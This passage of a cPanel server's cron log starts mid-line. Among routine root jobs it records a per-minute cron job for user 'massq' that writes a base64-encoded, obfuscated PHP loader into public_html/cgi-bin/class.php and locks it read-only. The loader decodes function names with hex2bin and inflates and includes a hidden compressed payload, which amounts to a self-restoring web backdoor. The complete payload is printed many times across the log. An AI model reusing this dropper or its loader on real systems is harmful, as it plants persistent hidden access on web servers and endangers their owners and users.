F1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:22:01 server CROND[9332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:22:01 server CROND[9333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:22:01 server CROND[9334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:23:01 server CROND[9705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:23:01 server CROND[9706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:23:01 server CROND[9707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:24:01 server CROND[10152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:24:01 server CROND[10153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:24:01 server CROND[10154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:25:01 server CROND[10548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:25:01 server CROND[10556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:25:01 server CROND[10560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:25:01 server CROND[10557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:25:01 server CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:25:01 server CROND[10558]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:25:01 server CROND[10559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:26:01 server CROND[11370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:26:01 server CROND[11371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:26:01 server CROND[11372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:27:01 server CROND[11843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:27:01 server CROND[11844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:27:01 server CROND[11846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:27:01 server CROND[11845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:28:01 server CROND[12213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:28:01 server CROND[12214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:28:01 server CROND[12215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:29:01 server CROND[12605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:29:01 server CROND[12606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:29:01 server CROND[12607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:30:01 server CROND[12979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:30:01 server CROND[12981]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:30:01 server CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:30:01 server CROND[12980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:30:01 server CROND[12982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:30:01 server CROND[12987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:30:01 server CROND[12986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:30:01 server CROND[12984]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:31:01 server CROND[13812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:31:01 server CROND[13813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:31:01 server CROND[13814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:32:01 server CROND[14305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:32:01 server CROND[14306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:32:01 server CROND[14307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:33:01 server CROND[14687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:33:01 server CROND[14688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:33:01 server CROND[14689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:34:01 server CROND[15052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:34:01 server CROND[15053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
